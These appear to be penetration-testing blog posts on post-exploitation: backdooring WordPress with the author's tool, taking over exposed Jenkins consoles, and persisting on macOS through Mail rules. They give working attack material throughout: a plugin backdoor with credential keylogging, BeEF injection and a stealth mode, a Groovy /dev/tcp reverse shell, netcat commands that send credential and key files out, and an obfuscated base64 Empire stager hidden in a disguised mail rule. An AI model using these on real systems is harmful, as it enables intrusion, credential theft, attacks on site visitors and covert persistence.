Category: Post Exploitation

Squeezing the juice out of a compromised WordPress server

During the course of a penetration test, you may stumble upon a web server running WordPress.  WordPress is a highly popular CMS.  It runs on PHP, and is typically ran on top of a LAMP stack.  While most WordPress servers on the web are configured with strong passwords and security plugins, rarely is this the case on internal networks.  For this reason, attackers can often find vulnerabilities in outdated versions of the software or more simply, guess the administrative password. Once you guess the password, there are a number of different things you can do to pivot to other systems.  Aside from escalating privileges, you can use WordPress itself to launch a number of other attacks against clients.

For these examples, I’m going to be using my own tools that I developed for exploiting WordPress.  While WPScan is arguably the best WordPress security tool, my tool WPForce, has a couple of advantages that we can make use of.  Unlike WPScan, which performs brute force login attempts agains the login page of WordPress, WPForce uses authenticated API calls to test the validity of credentials.  While most security plugins are wise to this method, it does provide slightly more stealth.

After identifying valid credentials, a companion script in the WPForce suite – Yertle, can be used to upload a backdoor onto the WordPress server and execute a number of post exploitation modules.

Running Yertle is relatively simple, just supply the URL, username, password, and type of backdoor.  While there are two types of backdoors available for upload, I prefer the –interactive option.

Once you run the script the tool will login into the WordPress site and upload a plugin.  If at any time you want to access this backdoor again, just supply the -e argument with the name of the upload directory. This plugin will take commands similar to SQLmap‘s os-shell.  To see the available modules, you can just type “help” or “?”.

os-shell> help

Core Commands

Command                   Description
-------                   -----------
?                         Help menu
beef                      Injects a BeEF hook into website
exit                      Terminate the session
hashdump                  Dumps all WordPress password hashes
help                      Help menu
keylogger                 Patches WordPress core to log plaintext credentials
keylog                    Displays keylog file
meterpreter               Executes a PHP meterpreter stager to connect to metasploit
quit                      Terminate the session
shell                     Sends a TCP reverse shell to a netcat listener
stealth                   Hides Yertle from the plugins page

One of the useful post exploitation modules you can run is hashdump.  What hashdump will do is log into the SQL database, query the table containing the password hashes, and return the output.  You can then crack these hashes, and begin trying to use these credentials to move laterally to other systems.

os-shell> hashdump
ID: 1  - Username: admin  Password: $P$BAgwF1u99OZU1iqTgTIrUmBbtIjRMu1  Email:
ID: 2  - Username: wpuser  Password: $P$BdcZZVb0ssMccLU1ECFCtUihocqQ0S.  Email:
ID: 3  - Username: n00py  Password: $P$B0mYQT38IOJtOr/nl4dchdqgCrxsG/.  Email:


Not only can we collect the hashes, but we can collect plaintext credentials too.  By patching a PHP file within the WordPress core, we can log all passwords in plaintext as the user authenticates.

os-shell> keylogger
This module modifies files within the WordPress core.  Would you like to continue? (Y/n) Y
wp_signon function patched.  Do not run this more than once.  Use 'keylog' to check the log file.

After a warning letting the user know modifications will be made to the WordPress core, the authentication function is patched.

After waiting for a user to login, we can check the log file by typing “keylog” to see the plaintext credentials.

os-shell> keylog
2017-03-30 - Username:  && Password:
2017-03-30 - Username: n00py && Password: thisisalsomynetworkpassword

Moving away from credential harvesting but staying within the realm of client attacks, we can also inject a BeEF hook into the site.  This will allow the attacker to run arbitrary JavaScript against any users browsing the site.

os-shell> beef
This module modifies files within the WordPress core.  Would you like to continue? (Y/n) Y
IP Address:
BeEF hook added!  Check BeEF for any hooked clients. Do not run this multiple times.

After injecting the hook, we just wait for a user to browse the site.  Once the user browses the site, they become “hooked”.  At this point we can send any JavaScript payload we want.  BeEF contains a large number of attacks that can be launched against a client.

Demo payload being executed within the client’s browser:

As useful as these modules are, you may want to pivot to another type of shell.  Two options are available: a regular reverse TCP shell, and a PHP meterpreter shell.   To upgrade to a fully interactive shell, just run:

os-shell> shell
IP Address:
Port: 8080
Sending reverse shell to port 8080

And listen on the chosen port to receive the shell:

root@Kali:~/WPForce$ nc -l 8080
bash: no job control in this shell

If you wish to have a meterpreter shell, load up metasploit and run:

os-shell> meterpreter
IP Address:
Port: 4444
Sending meterpreter stager to connect back to

And receive the meterpreter shell within metasploit:

[*] Started reverse handler on
[*] Starting the payload handler...
[*] Sending stage (33068 bytes) to
[*] Meterpreter session 1 opened ( -> at 2017-03-29 20:49:16 -0600

Lastly, there are a couple ways to be more stealthy when using this tool.  By default, this module registers itself as a plugin within WordPress, and this plugin is visible to an administrator.

To remove the backdoor from the plugin screen, simple run the command “stealth”.  The backdoor will still be accessible, it just will not be visible within the UI.

os-shell> stealth

It is also worth mentioning that Yertle will send the user agent “Yertle backdoor uploader” by default, but can be overridden with the -a flag.  In my experience, this User Agent was causing my IP to be instantly banned when testing against web severs utilizing an IPS.

Compromising Jenkins and extracting credentials




Jenkins is an open-source continuous integration software tool written in the Java programming language.  While useful to developers, it can also be useful to attackers.  Often times developers will leave Jenkins consoles in an insecure state, especially within development environments.  Jenkins has a scripting console available which can be used to run arbitrary Groovy code.

Below is an example of a console.  Typically found under Manage Jenkins -> Script Console or just by going to /script from the root of the Jenkins install path.

As you can see, there is also a credentials tab.  It is common for developers to store credentials within Jenkins.  While these passwords are not accessable to view from within the web console, they can be extracted from the system itself.

To create a reverse shell on the system, we need to use Groovy script. Since it is basically Java, we can use a Java reverse shell from pentestmonkey.

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/[attacker IP]/[port];cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])

On our attacker system, we can use netcat to catch the shell:

root@attacker:~# nc -lvp 9000
listening on [any] 9000 ...

Once we catch the shell, we can enumerate the account, and upgrade our raw netcat shell to a pseudo terminal.

/bin/bash -i
jenkins@victim:/$ python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'

Often times Jenkins is given sudo permissions with no password, so we can easily escalate to a root shell if we need to.

jenkins@victim:/$ sudo -i
sudo -i

Once we have that, we need to locate the Jenkins install.  In this case, it was found under /opt/jenkins.  View the contents of the directory and you will see a credentials.xml file and a /secrets/ directory.

root@victim:/opt/jenkins # ls


The encrypted passwords are stored in credentials.xml.  We will need this file as well as some of the keys to be able to decrypt it.   One of the ways we can ex-filtrate these files is via netcat.  Out our victim we will do the following, one at a time:

root@victim:/opt/jenkins # nc -w3 [attacker IP] 5000 < credentials.xml
root@victim:/opt/jenkins/secrets # nc -w3 [attacker IP] 5000 < master.key
root@victim:/opt/jenkins/secrets # nc -w3 [attacker IP] 5000 < hudson.util.Secret

And on the attacking machine, we catch each file individually.

root@attacker:~# nc -l -p 5000 > credentials.xml

root@attacker:~# nc -l -p 5000 > master.key

root@attacker:~# nc -l -p 5000 > hudson.util.Secret

One we have the files we need we can use a python script to decrypt the passwords within credentials.xml.

root@attacker:~/jenkins-decrypt# python master.key hudson.util.Secret credentials.xml

We now have root access on the server and credentials to be able to move laterally.

Using Shodan I was able to find hundreds of administrative consoles open to the internet without authentication, which goes to show that this misconfiguration is widespread.

Using email for persistence on OS X

Mail Icon

In this post we will cover how we can use on OS X to persist.  I was inspired by similar tools which are designed to work with Microsoft Outlook.  I first stumbled upon this article from MWR InfoSecurity, and then this blog post from Silent Break Security.  While rules in will not replicate across the Directory Domain, which is one of the awesome things about both XRulez and Ruler, it does have some distinct advantages over other methods of persistence.

  • It does not present a network signature until remotely activated
  • It will not be detected by any tool which detects persistence such as KnockKnock.

It’s not uncommon for a target network to be under 24/7 monitoring.  Most methods of persistence will require the malware to constantly beacon out back to the Command and Control server.  This often times presents a unique network signature, which can discovered by a savvy analyst.  A security minded user or an organization may be enumerating common persistence areas for malware.  This typically includes LaunchDeamons, Cron Jobs, and Kernel Extensions.


KnockKnock being ran on a system

While this technique will leave artifacts on the host, the fact that common security tools cannot detect it is a plus.

To create a mail rule the standard way, we would go to Mail -> Preferences -> Rules -> Add Rule

For the purpose of penetration testing, we cannot assume however that we will be able to interact within the GUI, and seek a way to perform this from a shell.

Mail rules are stored in:
With the $USER being equal to the name of the users home directory, and $VERSION being equal to the version of the OS.  MacOS Sierra (10.12) will be V4, OS X El Capitan (10.11) will be V3, and anything from OS X Lion (10.7) to OS X Yosemite (10.10) will be V2.

If the user is using iCloud syncing, the mail rule will be overwritten by a different file, located at:
/Users/$USER/Library/Mobile Documents/com~apple~mail/Data/$VERSION/MailData/SyncedRules.plist
This file will always take precedence and overwrites the file in /Library/Mail/, and for this reason you should add your mail rule to this file instead.  While the iCloud syncing happens automatically, will need to be bounced (restarted) for the application to pick up the new rule if the default location is in use.

There is another important caveat, and that is that mail rules will not be active, unless specified by RulesActiveState.plist which is present in the same directory.

Here is the anatomy of an acceptable rule for what we are trying to do:

<string>Spam Filter</string>

The notable fields are:

  • AppleScript – This identifies that AppleScript should be ran, and the string identifies the payload
  • CriterionUniqueId and RuleId – Unique identifiers for the Rule.  The RuleID for this rule will need to be activated in RulesActiveState.plist
  • Expression – This is the string that our rule will look for when choosing to fire.
  • RuleName – This is the name of the rule.  To avoid detection, it should be named something innocuous.
  • Deletes – This deletes the email when the criteria is matched.

To activate the rule, just include the Rule ID in the RulesActiveState.plist file as such:


Now that rule creating is covered it is time to talk about the payload.  Payloads are created in AppleScript.  Here is a sample payload:

do shell script "echo \"import sys,base64;exec(base64.b64decode('aW1wb3J0IHN5cztvPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bc3lzLnZlcnNpb25faW5mb1swXV0sZnJvbWxpc3Q9WydidWlsZF9vcGVuZXInXSkuYnVpbGRfb3BlbmVyKCk7VUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xMC4xMC4xMC4xMDo4MDgwJzt0PScvYWRtaW4vZ2V0LnBocCc7by5hZGRoZWFkZXJzPVsoJ1VzZXItQWdlbnQnLFVBKSwgKCJDb29raWUiLCAic2Vzc2lvbj1ZODROTmF3cHd1VHN4ZEF0VVRsa0ZvWGc3b2c9IildO2E9by5vcGVuKHNlcnZlcit0KS5yZWFkKCk7SVY9YVswOjRdO2RhdGE9YVs0Ol07a2V5PUlWKyd2JnRSXnJhNEZiM0hrWTkhXUp5LVdocWYlPDB4TjhLXyc7UyxqLG91dD1yYW5nZSgyNTYpLDAsW10NCmZvciBpIGluIHJhbmdlKDI1Nik6DQogICAgaj0oaitTW2ldK29yZChrZXlbaSVsZW4oa2V5KV0pKSUyNTYNCiAgICBTW2ldLFNbal09U1tqXSxTW2ldDQppPWo9MA0KZm9yIGNoYXIgaW4gZGF0YToNCiAgICBpPShpKzEpJTI1Ng0KICAgIGo9KGorU1tpXSklMjU2DQogICAgU1tpXSxTW2pdPVNbal0sU1tpXQ0KICAgIG91dC5hcHBlbmQoY2hyKG9yZChjaGFyKV5TWyhTW2ldK1Nbal0pJTI1Nl0pKQ0KZXhlYygnJy5qb2luKG91dCkp'));\" 
| python & kill `ps -ax | grep ScriptMonitor |grep -v grep |  awk '{print $1}'`"

AppleScript can easily issue commands as you would in the terminal by using “do shell script“.  The second portion is a typical Empire stager.  The additional commands after the ampersand are to hide the AppleScript.  Without it, it leaves the AppleScript payload visible not only in the Activity Monitor, but also as an animated icon on the MenuBar. It appears as a spinning gear.

I’ve created an Empire module that you can use with Empire 2.0 to accomplish all of this automatically.  My original proof of concept script also exists to run manually in which you specify your own parameters and payload.  I highly recommend giving the Empire module a whirl.

Steps to use this module with Empire after gaining an initial session:

  • usemodule persistence/osx/mail (or wherever you placed the module)
  • Specify Listener, Trigger Word, and RuleName
  • Execute

When you want to execute the payload at a later time all you have to do is:

  • Have your Empire server listening
  • Send an email to the target, specifying the trigger word in the subject line

The email will be deleted and never delivered to the inbox, and python will spawn a process which will pull down the stager from your Empire server.